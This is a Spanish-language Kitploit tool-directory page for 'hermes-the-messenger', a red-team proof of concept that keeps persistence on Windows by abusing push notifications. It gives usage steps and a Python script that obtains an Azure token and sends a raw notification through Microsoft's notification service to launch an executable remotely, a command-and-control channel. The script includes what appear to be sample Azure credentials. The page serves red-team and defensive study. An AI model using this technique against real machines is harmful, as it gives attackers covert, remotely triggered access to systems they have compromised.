Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hermes-the-messenger — Una PoC para lograr persistencia a través de notificaciones push en Windows. | Kitploit
Herramientas/GitHubGitHub/persistent-security/hermes-the-messenger
Mecanismos de PersistenciaPost-ExplotaciónComando y ControlRed Teaming
GitHubpersistent-security/hermes-the-messenger

hermes-the-messenger

Una PoC para lograr persistencia a través de notificaciones push en Windows.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
48412hace 3 añosRevisado por Kitploit
Compartir

Hermes el mensajero

Un PoC para lograr persistencia mediante notificaciones push en Windows

Para más detalles técnicos y contexto, lee nuestro artículo del blog aquí: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence

Uso

Antes que nada, necesitas configurar Azure. Después debes ejecutar el ejecutable una vez para que se registre para las notificaciones push. Solo necesitas pasar el id de objeto de tu aplicación de Azure como argumento y, si todo sale bien, imprimirá la URI del canal tal como la recibe Microsoft. En ese momento puedes cerrar la aplicación.

hermes.exe <object_id>

Si el SDK 1.3 no está instalado, el binario intentará instalarlo junto con las extensiones necesarias.

Cuando tengas la URI del canal, puedes intentar lanzar tu ejecutable de forma remota desde otra máquina llamando a la API de notificaciones con los detalles de tu inquilino, y ver la magia:

import requests

secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."

def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
    # Acquire token
    url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = {
        'grant_type': 'client_credentials',
        'client_id': app_id,
        'client_secret': secret,
        'scope': 'https://wns.windows.com/.default'
    }
    response = requests.post(url, headers=headers, data=data)
    response_json = response.json()
    token = response_json['access_token']

    # Send notification
    headers = {
        'Content-Type': 'application/octet-stream',
        'Authorization': f'Bearer {token}',
        'X-WNS-Type': 'wns/raw',
    }
    response = requests.post(channel_uri, headers=headers, data=notification_data)
    return response.status_code, response.text
	
	
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")

Demostración

https://github.com/persistent-security/hermes-the-messenger/assets/134269747/1de3afdc-79dc-4de6-827b-6acba44f910b

Descargar herramienta